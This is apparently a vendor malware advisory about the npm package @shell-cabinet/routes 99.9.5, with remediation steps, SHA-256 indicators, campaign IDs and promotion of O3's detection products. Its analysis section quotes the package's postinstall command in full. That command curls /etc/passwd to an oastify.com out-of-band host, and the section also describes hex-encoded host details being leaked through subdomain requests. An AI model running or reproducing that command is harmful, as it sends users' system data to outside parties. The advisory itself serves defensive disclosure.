Which versions of @shell-cabinet/routes are malicious?

The following npm versions of @shell-cabinet/routes are flagged malicious: 99.9.5. Treat any of these as compromised.

How do I remediate @shell-cabinet/routes if I installed it?

Remove @shell-cabinet/routes from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @shell-cabinet/routes — how do I know if it already compromised me?

If @shell-cabinet/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @shell-cabinet/routes part of a known attack campaign?

Yes — @shell-cabinet/routes is associated with the IN-MAL-2026-005023, IN-MAL-2026-005024, GHSA-qmhh-w396-g2p9, RLMA-2026-05921 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @shell-cabinet/routes across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-cabinet/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-cabinet/routes across your stack and pipelines.

Malicious package

@shell-cabinet/routesnpm

@shell-cabinet/routes is a confirmed malicious npm package (MAL-2026-5428) that executes malicious code on install (malicious version 99.9.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @shell-cabinet/routes (npm)

MAL-2026-5428

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @shell-cabinet/routes

What this malware does

On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues plain-HTTP fetch() requests with the hex chunked into subdomains of nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad

d8dcb342941bc75e4b1f4ff0b757d193f681b483a32295dc331468cd2dc1e616

475b0a1656c1a48a7a8f05f77096d4b5737510e410970d7a48221bafe298a69a

b16033c62aabf99b946bf787453d2e17af9e745ebca9230da824326422dcf7d1

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-cabinet/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-cabinet/routes across your stack and pipelines.
If you installed it — respond
Remove @shell-cabinet/routes from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @shell-cabinet/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @shell-cabinet/routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @shell-cabinet/routes on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005023IN-MAL-2026-005024GHSA-qmhh-w396-g2p9RLMA-2026-05921

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks @shell-cabinet/routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database